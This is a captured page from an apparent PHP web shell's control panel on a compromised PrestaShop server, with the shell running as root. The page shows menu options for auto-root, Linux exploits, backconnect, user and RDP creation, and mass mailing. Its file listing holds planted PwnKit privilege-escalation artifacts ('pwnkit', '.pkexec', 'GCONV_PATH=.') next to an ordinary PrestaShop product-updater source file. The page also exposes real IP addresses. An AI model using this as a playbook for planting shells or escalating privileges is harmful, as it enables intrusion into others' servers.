Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
src /
Adapter /
Product /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AdminProductDataProvider.php
16.92
KB
-rwxrwxrwx
AdminProductDataUpdater.php
12.5
KB
-rwxrwxrwx
AdminProductWrapper.php
35.39
KB
-rwxrwxrwx
AttachmentDataProvider.php
1.57
KB
-rwxrwxrwx
FilterCategoriesRequestPurifie...
1.78
KB
-rwxrwxrwx
GeneralConfiguration.php
3.79
KB
-rwxrwxrwx
ListParametersUpdater.php
4.67
KB
-rwxrwxrwx
PackItemsManager.php
3.29
KB
-rwxrwxrwx
PageConfiguration.php
3.64
KB
-rwxrwxrwx
PaginationConfiguration.php
2.84
KB
-rwxrwxrwx
PriceCalculator.php
6.29
KB
-rwxrwxrwx
PriceFormatter.php
1.79
KB
-rwxrwxrwx
ProductColorsRetriever.php
1.42
KB
-rwxrwxrwx
ProductDataProvider.php
4.51
KB
-rwxrwxrwx
StockConfiguration.php
3.95
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminProductDataUpdater.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ namespace PrestaShop\PrestaShop\Adapter\Product; use Category; use Configuration; use Db; use GroupReduction; use Image; use Pack; use PrestaShop\PrestaShop\Core\Hook\HookDispatcherInterface; use PrestaShopBundle\Exception\UpdateProductException; use PrestaShopBundle\Service\DataUpdater\Admin\ProductInterface; use Product; use Search; use Shop; use ShopGroup; use Validate; /** * This class will update/insert/delete data from DB / ORM about Product, for both Front and Admin interfaces. */ class AdminProductDataUpdater implements ProductInterface { /** * @var HookDispatcherInterface */ private $hookDispatcher; /** * Constructor. HookDispatcher is injected by Sf container. * * @param HookDispatcher $hookDispatcher */ public function __construct(HookDispatcherInterface $hookDispatcher) { $this->hookDispatcher = $hookDispatcher; } /** * {@inheritdoc} */ public function activateProductIdList(array $productListId, $activate = true) { if (count($productListId) < 1) { throw new \Exception('AdminProductDataUpdater->activateProductIdList() should always receive at least one ID. Zero given.', 5003); } $failedIdList = array(); foreach ($productListId as $productId) { $product = new Product($productId); if (!Validate::isLoadedObject($product) || $product->validateFields(false, true) !== true || $product->validateFieldsLang(false, true) !== true) { $failedIdList[] = $productId; continue; } $product->active = ($activate ? 1 : 0); $product->update(); $this->hookDispatcher->dispatchWithParameters('actionProductActivation', array('id_product' => (int) $product->id, 'product' => $product, 'activated' => $activate)); } if (count($failedIdList) > 0) { throw new UpdateProductException('Cannot change activation state on many requested products', 5004); } return true; } /** * {@inheritdoc} */ public function deleteProductIdList(array $productIdList) { if (count($productIdList) < 1) { throw new \Exception('AdminProductDataUpdater->deleteProductIdList() should always receive at least one ID. Zero given.', 5005); } $failedIdList = $productIdList; // Since we have just one call to delete all, cannot have distinctive fails. // Hooks: will trigger actionProductDelete multiple times $result = (new Product())->deleteSelection($productIdList); if ($result === 0) { throw new UpdateProductException('Cannot delete many requested products.', 5006); } return true; } /** * {@inheritdoc} */ public function duplicateProductIdList(array $productIdList) { if (count($productIdList) < 1) { throw new \Exception('AdminProductDataUpdater->duplicateProductIdList() should always receive at least one ID. Zero given.', 5005); } $failedIdList = array(); foreach ($productIdList as $productId) { try { $this->duplicateProduct($productId); } catch (\Exception $e) { $failedIdList[] = $productId; continue; } } if (count($failedIdList) > 0) { throw new UpdateProductException('Cannot duplicate many requested products', 5004); } return true; } /** * {@inheritdoc} */ public function deleteProduct($productId) { $product = new Product($productId); if (!Validate::isLoadedObject($product)) { throw new \Exception('AdminProductDataUpdater->deleteProduct() received an unknown ID.', 5005); } // dumb? no: delete() makes a lot of things, and can reject deletion in specific cases. // Hooks: will trigger actionProductDelete $result = $product->delete(); if ($result === 0) { throw new UpdateProductException('Cannot delete the requested product.', 5007); } return true; } /** * {@inheritdoc} */ public function duplicateProduct($productId, $namePattern = 'copy of %s') { //TODO : use the $namePattern var to input translated version of 'copy of %s', if translation requested. $product = new Product($productId); if (!Validate::isLoadedObject($product)) { throw new \Exception('AdminProductDataUpdater->duplicateProduct() received an unknown ID.', 5005); } if (($error = $product->validateFields(false, true)) !== true || ($error = $product->validateFieldsLang(false, true)) !== true) { throw new UpdateProductException(sprintf('Cannot duplicate this product: %s', $error)); } $id_product_old = $product->id; if (empty($product->price) && Shop::getContext() == Shop::CONTEXT_GROUP) { $shops = ShopGroup::getShopsFromGroup(Shop::getContextShopGroupID()); foreach ($shops as $shop) { if ($product->isAssociatedToShop($shop['id_shop'])) { $product_price = new Product($id_product_old, false, null, $shop['id_shop']); $product->price = $product_price->price; } } } unset( $product->id, $product->id_product ); $product->indexed = 0; $product->active = 0; // change product name to prefix it foreach ($product->name as $langKey => $oldName) { if (!preg_match('/^' . str_replace('%s', '.*', preg_quote($namePattern, '/') . '$/'), $oldName)) { $newName = sprintf($namePattern, $oldName); if (mb_strlen($newName, 'UTF-8') <= 127) { $product->name[$langKey] = $newName; } } } if ($product->add() && Category::duplicateProductCategories($id_product_old, $product->id) && Product::duplicateSuppliers($id_product_old, $product->id) && ($combination_images = Product::duplicateAttributes($id_product_old, $product->id)) !== false && GroupReduction::duplicateReduction($id_product_old, $product->id) && Product::duplicateAccessories($id_product_old, $product->id) && Product::duplicateFeatures($id_product_old, $product->id) && Product::duplicateSpecificPrices($id_product_old, $product->id) && Pack::duplicate($id_product_old, $product->id) && Product::duplicateCustomizationFields($id_product_old, $product->id) && Product::duplicateTags($id_product_old, $product->id) && Product::duplicateDownload($id_product_old, $product->id)) { if ($product->hasAttributes()) { Product::updateDefaultAttribute($product->id); } if (!Image::duplicateProductImages($id_product_old, $product->id, $combination_images)) { throw new UpdateProductException('An error occurred while copying images.', 5008); } else { $this->hookDispatcher->dispatchWithParameters('actionProductAdd', array('id_product_old' => $id_product_old, 'id_product' => (int) $product->id, 'product' => $product)); if (in_array($product->visibility, array('both', 'search')) && Configuration::get('PS_SEARCH_INDEXATION')) { Search::indexation(false, $product->id); } return $product->id; } } else { throw new \Exception('An error occurred while creating an object.', 5009); } } /** * {@inheritdoc} */ public function sortProductIdList(array $productList, $filterParams) { if (count($productList) < 2) { return false; } if (!isset($filterParams['filter_category'])) { throw new \Exception('Cannot sort when filterParams does not contains \'filter_category\'.', 5010); } foreach ($filterParams as $k => $v) { if ($v == '' || strpos($k, 'filter_') !== 0) { continue; } if ($k == 'filter_category') { continue; } throw new \Exception('Cannot sort when filterParams contains other filter than \'filter_category\'.', 5010); } $categoryId = $filterParams['filter_category']; /* Sorting items on one page only, with ONE SQL UPDATE query, * then fixing bugs (duplicates and 0 values) on next pages with more queries, if needed. * * Most complicated case example: * We have to sort items from offset 5, limit 5, on total object count: 14 * The previous AND the next pages MUST NOT be impacted but fixed if needed. * legend: #<id>|P<position> * * Before sort: * #1|P2 #2|P4 #3|P5 #7|P8 #6|P9 #5|P10 #8|P11 #10|P13 #12|P14 #11|P15 #9|P16 #12|P18 #14|P19 #22|P24 * (there is holes in positions) * * Sort request: * #5|P?? #10|P?? #12|P?? #8|P?? #11|P?? * * After sort: * (previous page unchanged) (page to sort: sort and no duplicates) (the next pages MUST be shifted to avoid duplicates if any) * * Request input: * [#5]P10 [#10]P13 [#12]P14 [#8]P11 [#11]P15 */ $maxPosition = max(array_values($productList)); $sortedPositions = array_values($productList); sort($sortedPositions); // new positions to update // avoid '0', starts with '1', so shift right (+1) if ($sortedPositions[1] === 0) { foreach ($sortedPositions as $k => $v) { $sortedPositions[$k] = $v + 1; } } // combine old positions with new position in an array $combinedOldNewPositions = array_combine(array_values($productList), $sortedPositions); ksort($combinedOldNewPositions); // (keys: old positions starting at '1', values: new positions) $positionsMatcher = array_replace(array_pad(array(), $maxPosition, 0), $combinedOldNewPositions); // pad holes with 0 array_shift($positionsMatcher); // shift because [0] is not used in MySQL FIELD() $fields = implode(',', $positionsMatcher); // update current pages. $updatePositions = 'UPDATE `' . _DB_PREFIX_ . 'category_product` cp INNER JOIN `' . _DB_PREFIX_ . 'product` p ON (cp.`id_product` = p.`id_product`) ' . Shop::addSqlAssociation('product', 'p') . ' SET cp.`position` = ELT(cp.`position`, ' . $fields . '), p.`date_upd` = "' . date('Y-m-d H:i:s') . '", product_shop.`date_upd` = "' . date('Y-m-d H:i:s') . '" WHERE cp.`id_category` = ' . (int) $categoryId . ' AND cp.`id_product` IN (' . implode(',', array_map('intval', array_keys($productList))) . ')'; Db::getInstance()->execute($updatePositions); // Fixes duplicates on all pages Db::getInstance()->query('SET @i := 0'); $selectPositions = 'UPDATE`' . _DB_PREFIX_ . 'category_product` cp SET cp.`position` = (SELECT @i := @i + 1) WHERE cp.`id_category` = ' . (int) $categoryId . ' ORDER BY cp.`id_product` NOT IN (' . implode(',', array_map('intval', array_keys($productList))) . '), cp.`position` ASC'; Db::getInstance()->execute($selectPositions); return true; } }
Close